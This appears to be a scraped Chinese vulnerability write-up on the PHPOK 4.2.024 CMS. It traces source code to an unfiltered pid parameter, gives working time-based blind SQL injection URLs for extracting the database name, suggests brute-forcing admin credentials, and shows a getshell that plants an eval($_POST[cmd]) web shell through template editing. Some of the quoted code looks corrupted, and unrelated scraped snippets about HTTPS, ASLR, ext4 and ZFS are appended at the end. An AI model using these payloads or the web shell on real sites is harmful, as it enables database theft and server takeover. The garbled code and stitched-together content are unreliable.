判断是否启用缓存,启用后直读缓存信息

文件/framework/www/post_control.php 26-38行
function index_f()
{
$id = $this->get("id");
$pid = $this->get(‘pid‘);
if(!$id && !$pid)
{
error(P_Lang(‘未指定项目‘),‘‘,‘error‘);
}
$project_rs = $this->call->phpok(‘_project‘,array("phpok"=>$id,‘pid‘=>$pid));
if(!$project_rs || !$project_rs[‘module‘])
{
error(P_Lang("项目不符合要求"),‘‘,‘error‘);
}
id和pid传进来了,
phpok(‘_project‘,array("phpok"=>$id,‘pid‘=>$pid));
跟进phpok
/framework/phpok_call.php

function phpok($id,$rs="")
{
if(!$id) return false;
$cacheId = ‘‘;
$content = ‘‘;
if($rs && is_string($rs)) parse_str($rs,$rs);
//判断是否启用缓存,启用后直读缓存信息
if($GLOBALS[‘app‘]->cache->status())
{
$cacheId = $GLOBALS[‘app‘]->cache->key(array(‘id‘=>$id,‘rs‘=>$rs),$this->site[‘id‘],"call");
$content = $GLOBALS[‘app‘]->cache->read($cacheId);
}
if($content) return $content;
//判断是内置参数还是调用数据中心的数据
if(substr($id,0,1) != ‘_‘)
{
$call_rs = $GLOBALS[‘app‘]->model(‘call‘)->get_rs($id,$this->site[‘id‘]);
if(!$call_rs) return false;
if($call_rs[‘ext‘])
{
$call_rs_ext = unserialize($call_rs[‘ext‘]);
unset($call_rs[‘ext‘],$call_rs[‘id‘]);
if($call_rs_ext) $call_rs = array_merge($call_rs_ext,$call_rs);
}
if($rs && is_array($rs)) $call_rs = array_merge($call_rs,$rs);
}
else
{
if(!$rs || !is_array($rs)) return false;
//arclist,文章列表
//arc,单篇文章信息
//cate,分类信息
//catelist,分类树
//project,项目信息
//sublist,子项目信息
//parent,父级项目信息
//plist,同级项目信息
//fields,字段表单
//user,会员
//userlist,会员列表
//total,文章总数
//cate_id,当前分类信息(不带项目,不生成链接)
//subcate,子分类信息,即当前分类下的子分类
$list = array(‘arclist‘,‘arc‘,‘cate‘,‘catelist‘,‘project‘,‘sublist‘,‘parent‘,‘plist‘,‘fields‘,‘user‘,‘userlist‘,‘total‘,‘cate_id‘,‘subcate‘);
$id = substr($id,2881064151);
//如果是arclist,且未定义is_list属性,则默认启用此属性
if($id == "arclist")
{
$rs["is_list"] = $rs["is_list"] == ‘false‘ ? 0 : 1;
}
if(!$id || !in_array($id,$list)) return false;
$call_rs = array_merge($rs,array(‘type_id‘=>$id));
}
$content = $this->load_call($call_rs);
if($content && $cacheId) $GLOBALS[‘app‘]->cache->write($cacheId,$content);
return $content;
}
就是调用一个函数
那看
phpok(‘_project‘,array("phpok"=>$id,‘pid‘=>$pid));
跟_project这个函数
/framework/model/data.php 1118-1139
public function _project($id,$ext=false)
{
if($this->cdata[‘project‘][$id])
{
$rs = $this->cdata[‘project‘][$id];
}
else
{
$sql = "SELECT * FROM ".$this->db->prefix."project WHERE id=".$id;
$rs = $this->db->get_one($sql);
//if(!$this->cdata[‘project‘])
//echo $id.‘---‘.$rs;
$this->cdata[‘project‘][$id] = $rs;
}
if(!$rs) return false;
if($ext)
{
$ext = $this->ext_all(‘project-‘.$id);
if($ext) $rs = array_merge($ext,$rs);
}
return $rs;
}
id没有过滤,直接带入了sql。
http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41
这个pid是项目的id值,默认是41以上,包括41,也可以爬一下。
http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41and sleep(5)
浏览器转5秒
http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41and 1=if((ord(substr(database(),1,1))=112),sleep(5),1)
这个语句应该晓得吧,database的第一个字符的asicc码为112则浏览器转5秒,反之直接返回页面。
然后扩展一下,_project这个函数有问题,我们可以全局搜索一下,还有哪里调用了_project然后再继续发掘漏洞
就不继续测试了,这里的修补方式就是对_project这个函数做过滤。
想搞出管理员的账号密码burp跑一下就可以了
后台getshell
风格管理
可以编辑这个php文件
插入?><?php phpinfo();?><? 或?><?php eval($_POST[cmd])?><?

时间: 2024-10-27 01:04:54

判断是否启用缓存,启用后直读缓存信息的相关文章

启用全站HTTPS后不仅更安全而且更快 看淘宝是如何做到的????

电商启用全站HTTPS是一件门槛极高的事情,它需要投入巨大的资源,不仅是人力.财力等方面,而且对技术能力也提出了极为苛刻的要求. 一般来说,普通电商只会在登录和交易这些"关键"环节启用HTTPS.而目前,阿里巴巴是全球唯一大规模启用电商平台全站HTTPS的公司. 什么是HTTPS?百科是这样解释的.HTTPS(全称:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全为目标的HTTP通道.即HTTP下加入SSL层,HTT

如何判断当前LINUX系统启用了ASLR

内核参数randomize_va_space用于控制系统级ASLR 0 关闭ASLR 1 mmap base.stack.vdso page将随机化.这意味着.so文件将被加载到随机地址.链接时指定了-pie选项的可执行程序,其代码段加载地址将被随机化.配置内核时如果指定了CONFIG_COMPAT_BRK,randomize_va_space缺省为1.此时heap没有随机化. 2 在1的基础上增加了heap随机化.配置内核时如果禁用CONFIG_COMPAT_BRK,randomize_va_

以芯片直读方式得到的全盘镜像解析及ext4日志区域解析

之前在centos中分析了/dev/sda1下的结构,但当对象是一块以芯片直读方式作出来的全盘镜像呢? 这次以安卓手机的全盘镜像为对象,尝试按照ext4文件系统结构手动解析,加强对ext4文件系统.EFI系统分区.GPT磁盘的理解,补充ext4文件系统的日志结构的描述. 我得到的全盘镜像有两种格式,一种.img,一种是.bin,两种镜像的组织方式是比较类似的,但可能因为是不同的直读机做出的原因,.img格式的镜像在"真正的数据"前附加了机器的标志信息. .bin格式镜像分析 .bin格

闲话缓存:ZFS 读缓存深入研究-ARC(二)

Solaris ZFS ARC的改动(相对于IBM ARC) 如我前面所说,ZFS实现的ARC和IBM提出的ARC淘汰算法并不是完全一致的.在某些方面,它做了一些扩展: ·         ZFS ARC是一个缓存容量可变的缓存算法,它的容量可以根据系统可用内存的状态进行调整.当系统内存比较充裕的时候,它的容量可以自动增加.当系统内存比较紧张(其它事情需要内存)的时候,它的容量可以自动减少. ·         ZFS ARC可以同时支持多种块大小.原始的实现假设所有的块都是相同大小的. ·  

chrome浏览器更换favicon.ico后不更新缓存解决方案

chrome浏览器更换favicon.ico后不更新缓存 1.按ctrl+F5强制刷新或网页上右键重新载入.2.再不行就删除缓存.3.但这样太讨厌了,还有个小窍门屡试不爽,那就是直接在浏览器地址栏访问favicon文件.4.如果访问还是原先的ico文件,在浏览图片时刷新一下,再回到网站看一下,已经解决了,毕竟谁都不愿意为这个问题去清缓存和cookies什么的.

PHP CSS3 目录直读式Lightbox 画廊图片展示

PHP CSS3 目录直读式Lightbox 画廊,非常适合用在PHP中建立在线图库.相册中,用于照片的浏览和展示.拖动图片可移动到任意位置,单击放大,可上一张.下一张播放!采用目录直读的方式,无需太多的设置,即可读取指定目录下的图片,而无需手动添加图片的路径和文件名.内核采用fancybox图上浏览插件,简洁漂亮,配合CSS3实现完美的浏览体验. 安装说明:本源码无数据库,因此无需安装,要注意demo.php中的相关变量,主要的地方已给出注释,根据注释可以快速部署到你的PHP开发项目中. 测试

NVelocity分页时判断首页前一页后一页末页的详细

共$Data.TotalCount个/$Data.PageNum页 #if($Data.PageNum==1) <span class="disabled"> << </span> <span class="disabled"> < </span> #else <a href="StuList.ashx?PageNum=1"> << </a> #

如何在扫描完二维码后, 直接用Facebook App进到粉丝专页而不是网页版

假设我们推广了一枚二维码, 用户扫面二维码就用通过手机浏览器进入点专页,而不是facebook app, 是不是觉得很麻烦呢? 有没有办法解决呢?答案当然是有的! 一.取得Facebook粉丝专页id 代码 首先我们必须取得Facebook id 代码才能完成后面的动作,一般来说如果你的粉丝专页还没有取短网址的话, 你可以直接在网址列中就可以找到你的Facebook粉丝专页的id(如图红框所示) 但如果你已经取了短网址, 那你必须在网址列输入http://graph.facebook.com/{

闲话缓存:ZFS 读缓存深入研究-ARC(一)

在Solaris ZFS 中实现的ARC(Adjustable Replacement Cache)读缓存淘汰算法真是很有意义的一块软件代码.它是基于IBM的Megiddo和Modha提出的ARC(Adaptive Replacement Cache)淘汰算法演化而来的.但是ZFS的开发者们对IBM 的ARC算法做了一些扩展,以更适用于ZFS的应用场景.ZFS ARC的最早实现展现在FAST 2003的会议上,并在杂志<;Login:>的一篇文章中被详细描述. 注:关于杂志<:Login